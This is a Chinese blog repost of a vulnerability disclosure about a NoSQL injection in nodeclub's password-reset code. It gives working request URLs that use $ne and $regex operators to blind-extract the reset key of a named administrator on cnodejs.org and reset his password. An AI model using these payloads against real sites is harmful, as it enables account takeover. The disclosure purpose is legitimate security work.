当前位置:首页 > 技术分析 > 正文内容

nodeclub注入漏洞可重置用户密码

ruisui883个月前 (03-24)技术分析16

这个nodeclub(
https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下从github上下载nodeclub的源码。\controllers\sign.js

?

1

2

3

4

5

6

7

8exports.reset_pass = function (req, res, next) {

var key = req.query.key;

var name = req.query.name;

User.getUserByNameAndKey(name, key, function (err, user) {

if (!user) {

res.status(403);

return res.render('notify/notify', {error: '信息有误,密码无法重置。'});

}

可以看到,key和name未经判断进入了 User的 getUserByNameAndKey\proxy\user.js

exports.getUserByNameAndKey = function (loginname, key, callback) {

User.findOne({loginname: loginname, retrieve_key: key}, callback);

};

为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com然后在
https://cnodejs.org/search_pass找回密码,

接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111其中,name是目标用户名,让key不等于1111111,此时会返回一个正常的页面。

如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111则会返回一个错误的页面:

如此一来,我们就可以对key参数通过 $regex来进行盲注。例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5 返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f返回正常....测试代码:见“测试代码”部分。运行程序后,

跑出的key:

然后拿着key去重置密码,密码被重置为 wooyun,登录后~~

见:
https://cnodejs.org/user/alsotang 个人介绍。

解决方案:

exports.reset_pass = function (req, res, next) {var key = req.query.key; var name = req.query.name;..

扫描二维码推送至手机访问。

版权声明:本文由ruisui88发布,如需转载请注明出处。

本文链接:http://www.ruisui88.com/post/2971.html

标签: res.render
分享给朋友:

“nodeclub注入漏洞可重置用户密码” 的相关文章

手把手教你Vue之父子组件间通信实践讲解【props、$ref 、$emit】

组件是 vue.js 最强大的功能之一,而组件实例的作用域是相互独立的,这就意味着不同组件之间的数据无法相互引用。那么组件间如何通信,也就成为了vue中重点知识了。这篇文章将会通过props、$ref和 $emit 这几个知识点,来讲解如何实现父子组件间通信。转载链接:https://www.jia...

全新斯柯达柯珞克Karoq深度评测:大众替代品

“斯柯达柯珞克是一款出色的全能家庭 SUV,具有许多有用的功能”价格36,605 英镑- 49,190 英镑优点方便的 VarioFlex 后排座椅非常适合家庭入住驾驶乐趣缺点保修期短保守的内饰性格比Yeti少结论——斯柯达柯珞克是一辆好车吗?斯柯达柯珞克是在辉煌的七座 斯柯达柯迪亚克之后推出的,因...

Firefox正针对Vue.js进行优化,下版本响应速度将“显著提升”

IT之家 9 月 7 日消息,据 Mozilla 官方博客发文显示,Firefox 浏览器正针对 Vue.js 进行优化,此前 FireFox 浏览器在面向 Vue 3 时遇到了一些性能问题。▲ 图源 Mozilla 官方博客目前开发人员已经对此进行了解决,在 Firefox 118 内部版本中进行...

尤雨溪:Vue 2生命周期已正式结束,开发团队应迁移至最新版本

IT之家 1 月 2 日消息,Vue.js 作者尤雨溪发文声称,Vue 2 已于 2023 年 12 月 31 日结束生命周期(EOL),目前 Vue 2 已经无法接收到新功能及修复补丁,还在使用 Vue 2 的开发团队应迁移至最新的 Vue 3 版本。据悉,Vue 2.0 最初发布于 2016 年...

同步电机和异步电机竟然有这么大区别,看完就理解了

同步电机和异步电机的主要区别是:同步电机能与其定子磁场旋转达到同步转速,异步电机转速达不到定子磁场的同步转速。电机大致分成三种,同步机,异步机(以上两种多与电网相连),还有个直流电机。下面的内容是一个过渡,只作为对电机(同步机、异步机)原理性的知识进行形象的讲解(懂电机的可跳过)。同步机和异步机,这...

vue+nginx代理配置,解决跨域问题

举例登录接口,ip地址是随便举例的,实际生成地址域名,不一定是本地ip。前端首页地址是:http://192.168.1.25:8080/#/login,前端登录的地址是:http://192.168.1.25:8080/api/login后端登录接口地址是:http://192.168.1.24:...